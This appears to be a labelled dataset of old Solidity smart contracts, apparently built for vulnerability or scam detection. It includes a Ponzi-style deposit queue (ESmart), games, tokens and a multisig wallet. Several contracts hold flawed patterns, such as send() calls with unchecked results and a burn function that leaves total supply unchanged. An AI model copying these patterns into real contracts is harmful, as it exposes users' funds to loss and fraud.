uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, address newLandlord ); event LogSells( uint ID, uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, uint sellPrice ); event LogRentsOut( uint ID, uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, uint rentPricePerPeriodWei ); event LogRents( uint ID, uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, uint numberOfPeriods, uint rentedFrom ); event LogAds(uint ID, uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, string imageSourceUrl, string adUrl, string adText, address indexed advertiser); function buyArea(uint8 fromX, uint8 fromY, uint8 toX, uint8 toY) external whenNotPaused payable { require(isLegalCoordinates(fromX, fromY, toX, toY)); require(canPay(areaPrice(fromX, fromY, toX, toY))); depositFunds(); uint id = market.buyBlocks(msg.sender, blocksList(fromX, fromY, toX, toY)); emit LogBuys(id, fromX, fromY, toX, toY, msg.sender); } function sellArea(uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, uint priceForEachBlockWei) external whenNotPaused { require(isLegalCoordinates(fromX, fromY, toX, toY)); uint id = market.sellBlocks( msg.sender, priceForEachBlockWei, blocksList(fromX, fromY, toX, toY) ); emit LogSells(id, fromX, fromY, toX, toY, priceForEachBlockWei); } function areaPrice(uint8 fromX, uint8 fromY, uint8 toX, uint8 toY) public view returns (uint) { require(isLegalCoordinates(fromX, fromY, toX, toY)); return market.areaPrice(blocksList(fromX, fromY, toX, toY)); } function rentOutArea(uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, uint rentPricePerPeriodWei) external whenNotPaused { require(isLegalCoordinates(fromX, fromY, toX, toY)); uint id = rentals.rentOutBlocks( msg.sender, rentPricePerPeriodWei, blocksList(fromX, fromY, toX, toY) ); emit LogRentsOut(id, fromX, fromY, toX, toY, rentPricePerPeriodWei); } function rentArea(uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, uint numberOfPeriods) external payable whenNotPaused { require(isLegalCoordinates(fromX, fromY, toX, toY)); require(canPay(areaRentPrice(fromX, fromY, toX, toY, numberOfPeriods))); depositFunds(); uint id = rentals.rentBlocks( msg.sender, numberOfPeriods, blocksList(fromX, fromY, toX, toY) ); emit LogRents(id, fromX, fromY, toX, toY, numberOfPeriods, 0); } function areaRentPrice(uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, uint numberOfPeriods) public view returns (uint) { require(isLegalCoordinates(fromX, fromY, toX, toY)); return rentals.blocksRentPrice (numberOfPeriods, blocksList(fromX, fromY, toX, toY)); } function placeAds( uint8 fromX, uint8 fromY, uint8 toX, uint8 toY, string imageSource, string link, string text ) external whenNotPaused { require(isLegalCoordinates(fromX, fromY, toX, toY)); uint AdsId = ads.advertiseOnBlocks( msg.sender, blocksList(fromX, fromY, toX, toY), imageSource, link, text ); emit LogAds(AdsId, fromX, fromY, toX, toY, imageSource, link, text, msg.sender); } function canAdvertise( address advertiser, uint8 fromX, uint8 fromY, uint8 toX, uint8 toY ) external view returns (bool) { require(isLegalCoordinates(fromX, fromY, toX, toY)); return ads.canAdvertiseOnBlocks(advertiser, blocksList(fromX, fromY, toX, toY)); } function adminImportOldMEBlock(uint8 x, uint8 y) external onlyOwner { (uint id, address newLandlord) = market.importOldMEBlock(x, y); emit LogBuys(id, x, y, x, y, newLandlord); } function getBlockOwner(uint8 x, uint8 y) external view returns (address) { return ownerOf(blockID(x, y)); } function blockID(uint8 x, uint8 y) public pure returns (uint16) { return (uint16(y) - 1) * 100 + uint16(x); } function countBlocks( uint8 fromX, uint8 fromY, uint8 toX, uint8 toY ) internal pure returns (uint16) { return (toX - fromX + 1) * (toY - fromY + 1); } function blocksList( uint8 fromX, uint8 fromY, uint8 toX, uint8 toY ) internal pure returns (uint16[] memory r) { uint i = 0; r = new uint16[](countBlocks(fromX, fromY, toX, toY)); for (uint8 ix=fromX; ix<=toX; ix++) { for (uint8 iy=fromY; iy<=toY; iy++) { r[i] = blockID(ix, iy); i++; } } } function isLegalCoordinates( uint8 _fromX, uint8 _fromY, uint8 _toX, uint8 _toY ) private pure returns (bool) { return ((_fromX >= 1) && (_fromY >=1) && (_toX <= 100) && (_toY <= 100) && (_fromX <= _toX) && (_fromY <= _toY)); } }
0
contract CryptoSim{ uint256 public EGGS_TO_HATCH_1SHRIMP=86400; uint256 public STARTING_SHRIMP=10; uint256 PSN=10000; uint256 PSNH=5000; bool public initialized=false; address public ceoAddress; mapping (address => uint256) public hatcheryShrimp; mapping (address => uint256) public claimedEggs; mapping (address => uint256) public lastHatch; mapping (address => address) public referrals; uint256 public marketEggs; function CryptoSim() public{ ceoAddress=msg.sender; } function hatchEggs(address ref) public{ require(initialized); if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){ referrals[msg.sender]=ref; } uint256 eggsUsed=getMyEggs(); uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP); hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp); claimedEggs[msg.sender]=0; lastHatch[msg.sender]=now; claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5)); marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10)); } function sellEggs() public{ require(initialized); uint256 hasEggs=getMyEggs(); uint256 eggValue=calculateEggSell(hasEggs); uint256 fee=devFee(eggValue); hatcheryShrimp[msg.sender]=SafeMath.mul(SafeMath.div(hatcheryShrimp[msg.sender],4),3); claimedEggs[msg.sender]=0; lastHatch[msg.sender]=now; marketEggs=SafeMath.add(marketEggs,hasEggs); ceoAddress.transfer(fee); msg.sender.transfer(SafeMath.sub(eggValue,fee)); } function buyEggs() public payable{ require(initialized); uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(this.balance,msg.value)); eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought)); ceoAddress.transfer(devFee(msg.value)); claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought); } function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){ return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt))); } function calculateEggSell(uint256 eggs) public view returns(uint256){ return calculateTrade(eggs,marketEggs,this.balance); } function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){ return calculateTrade(eth,contractBalance,marketEggs); } function calculateEggBuySimple(uint256 eth) public view returns(uint256){ return calculateEggBuy(eth,this.balance); } function devFee(uint256 amount) public view returns(uint256){ return SafeMath.div(SafeMath.mul(amount,5),100); } function seedMarket(uint256 eggs) public payable{ require(marketEggs==0); initialized=true; marketEggs=eggs; } function getFreeShrimp() public{ require(initialized); require(hatcheryShrimp[msg.sender]==0); lastHatch[msg.sender]=now; hatcheryShrimp[msg.sender]=STARTING_SHRIMP; } function getBalance() public view returns(uint256){ return this.balance; } function getMyShrimp() public view returns(uint256){ return hatcheryShrimp[msg.sender]; } function getMyEggs() public view returns(uint256){ return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender)); } function getEggsSinceLastHatch(address adr) public view returns(uint256){ uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr])); return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]); } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.25; contract ESmart { uint constant public INVESTMENT = 0.05 ether; uint constant private START_TIME = 1541435400; address constant private TECH = 0x9A5B6966379a61388068bb765c518E5bC4D9B509; address constant private PROMO = 0xD6104cEca65db37925541A800870aEe09C8Fd78D; address constant private LAST_FUND = 0x357b9046f99eEC7E705980F328F00BAab4b3b6Be; uint constant public JACKPOT_PERCENT = 1; uint constant public TECH_PERCENT = 7; uint constant public PROMO_PERCENT = 13; uint constant public LAST_FUND_PERCENT = 10; uint constant public MAX_IDLE_TIME = 10 minutes; uint constant public NEXT_ROUND_TIME = 30 minutes; uint constant public MULTIPLIER = 120; struct Deposit { address depositor; uint128 deposit; uint128 expect; } struct LastDepositInfo { uint128 index; uint128 time; } struct MaxDepositInfo { address depositor; uint count; } Deposit[] private queue; uint public currentReceiverIndex = 0; uint public currentQueueSize = 0; LastDepositInfo public lastDepositInfo; MaxDepositInfo public maxDepositInfo; uint private startTime = START_TIME; mapping(address => uint) public depCount; uint public jackpotAmount = 0; int public stage = 0; function () public payable { if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value >= INVESTMENT, "The investment is too small!"); require(stage < 5); checkAndUpdateStage(); require(getStartTime() <= now, "Deposits are not accepted before time"); addDeposit(msg.sender, msg.value); pay(); }else if(msg.value == 0){ withdrawPrize(); } } function pay() private { uint balance = address(this).balance; uint128 money = 0; if(balance > (jackpotAmount)) money = uint128(balance - jackpotAmount); for(uint i=currentReceiverIndex; i<currentQueueSize; i++){ Deposit storage dep = queue[i]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; delete queue[i]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex = i; } function addDeposit(address depositor, uint value) private { require(stage < 5); if(value > INVESTMENT){ depositor.transfer(value - INVESTMENT); value = INVESTMENT; } lastDepositInfo.index = uint128(currentQueueSize); lastDepositInfo.time = uint128(now); push(depositor, value, value*MULTIPLIER/100); depCount[depositor]++; uint count = depCount[depositor]; if(maxDepositInfo.count < count){ maxDepositInfo.count = count; maxDepositInfo.depositor = depositor; } jackpotAmount += value*(JACKPOT_PERCENT)/100; uint lastFund = value*LAST_FUND_PERCENT/100; LAST_FUND.send(lastFund); uint support = value*TECH_PERCENT/1000; TECH.send(support); uint adv = value*PROMO_PERCENT/1000; PROMO.send(adv); } function checkAndUpdateStage() private{ int _stage = getCurrentStageByTime(); require(_stage >= stage, "We should only go forward in time"); if(_stage != stage){ proceedToNewStage(_stage); } } function proceedToNewStage(int _stage) private { startTime = getStageStartTime(_stage); assert(startTime > 0); stage = _stage; currentQueueSize = 0; currentReceiverIndex = 0; delete lastDepositInfo; } function withdrawPrize() private { require(getCurrentStageByTime() >= 5); require(maxDepositInfo.count > 0, "The max depositor is not confirmed yet"); uint balance = address(this).balance; if(jackpotAmount > balance) jackpotAmount = balance; maxDepositInfo.depositor.send(jackpotAmount); selfdestruct(TECH); } function push(address depositor, uint deposit, uint expect) private { Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect)); assert(currentQueueSize <= queue.length); if(queue.length == currentQueueSize) queue.push(dep); else queue[currentQueueSize] = dep; currentQueueSize++; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return currentQueueSize - currentReceiverIndex; } function getCurrentStageByTime() public view returns (int) { if(lastDepositInfo.time > 0 && lastDepositInfo.time + MAX_IDLE_TIME <= now){ return stage + 1; } return stage; } function getStageStartTime(int _stage) public view returns (uint) { if(_stage >= 5) return 0; if(_stage == stage) return startTime; if(lastDepositInfo.time == 0) return 0; if(_stage == stage + 1) return lastDepositInfo.time + NEXT_ROUND_TIME; return 0; } function getStartTime() public view returns (uint) { return getStageStartTime(getCurrentStageByTime()); } }
1
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract RBACMixin { string constant FORBIDDEN = "Haven't enough right to access"; mapping (address => bool) public owners; mapping (address => bool) public minters; event AddOwner(address indexed who); event DeleteOwner(address indexed who); event AddMinter(address indexed who); event DeleteMinter(address indexed who); constructor () public { _setOwner(msg.sender, true); } modifier onlyOwner() { require(isOwner(msg.sender), FORBIDDEN); _; } modifier onlyMinter() { require(isMinter(msg.sender), FORBIDDEN); _; } function isOwner(address _who) public view returns (bool) { return owners[_who]; } function isMinter(address _who) public view returns (bool) { return minters[_who]; } function addOwner(address _who) public onlyOwner returns (bool) { _setOwner(_who, true); } function deleteOwner(address _who) public onlyOwner returns (bool) { _setOwner(_who, false); } function addMinter(address _who) public onlyOwner returns (bool) { _setMinter(_who, true); } function deleteMinter(address _who) public onlyOwner returns (bool) { _setMinter(_who, false); } function _setOwner(address _who, bool _flag) private returns (bool) { require(owners[_who] != _flag); owners[_who] = _flag; if (_flag) { emit AddOwner(_who); } else { emit DeleteOwner(_who); } return true; } function _setMinter(address _who, bool _flag) private returns (bool) { require(minters[_who] != _flag); minters[_who] = _flag; if (_flag) { emit AddMinter(_who); } else { emit DeleteMinter(_who); } return true; } } interface IMintableToken { function mint(address _to, uint256 _amount) external returns (bool); } contract PlatformBucket is RBACMixin, IMintableToken { using SafeMath for uint; uint256 public size; uint256 public rate; uint256 public lastMintTime; uint256 public leftOnLastMint; IMintableToken public token; event Leak(address indexed to, uint256 left); constructor (address _token, uint256 _size, uint256 _rate) public { token = IMintableToken(_token); size = _size; rate = _rate; leftOnLastMint = _size; } function setSize(uint256 _size) public onlyOwner returns (bool) { size = _size; return true; } function setRate(uint256 _rate) public onlyOwner returns (bool) { rate = _rate; return true; } function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) { return setSize(_size) && setRate(_rate); } function mint(address _to, uint256 _amount) public onlyMinter returns (bool) { uint256 available = availableTokens(); require(_amount <= available); leftOnLastMint = available.sub(_amount); lastMintTime = now; require(token.mint(_to, _amount)); return true; } function availableTokens() public view returns (uint) { uint256 timeAfterMint = now.sub(lastMintTime); uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint); return size < refillAmount ? size : refillAmount; } }
1
pragma solidity 0.4.18; contract MultiSigWallet { event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); uint constant public MAX_OWNER_COUNT = 50; mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } function() public payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } function getOwners() public constant returns (address[]) { return owners; } function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
1
contract echo { function () { msg.sender.send(msg.value); } }
1
pragma solidity ^0.4.23; contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract BelottoCoin is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function BelottoCoin(address _owner) public{ symbol = "BEL"; name = "Belotto"; decimals = 18; owner = _owner; _totalSupply = totalSupply(); balances[owner] = _totalSupply; emit Transfer(address(0),owner,_totalSupply); } function sender() public view returns (address sender){ return msg.sender; } function totalSupply() public constant returns (uint){ return 1200000000 * 10**uint(decimals); } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != 0x0); require(balances[msg.sender] >= tokens ); require(balances[to] + tokens >= balances[to]); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender,to,tokens); return true; } function approve(address spender, uint tokens) public returns (bool success){ allowed[msg.sender][spender] = tokens; emit Approval(msg.sender,spender,tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success){ require(tokens <= allowed[from][msg.sender]); require(balances[from] >= tokens); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); emit Transfer(from,to,tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); Burn(burner, _value); } }
1
pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library DateTime { struct MyDateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) internal pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) internal pure returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal pure returns (MyDateTime dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } dt.hour = 0; dt.minute = 0; dt.second = 0; dt.weekday = 0; } function getYear(uint timestamp) internal pure returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) internal pure returns (uint8) { return uint8(timestamp % 60); } function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) { uint16 i; for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } timestamp += DAY_IN_SECONDS * (day - 1); timestamp += HOUR_IN_SECONDS * (hour); timestamp += MINUTE_IN_SECONDS * (minute); timestamp += second; return timestamp; } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ReentrancyGuard { bool private reentrancy_lock = false; modifier nonReentrant() { require(!reentrancy_lock); reentrancy_lock = true; _; reentrancy_lock = false; } } contract StandardBurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); return true; } } contract Operational is Claimable { address public operator; 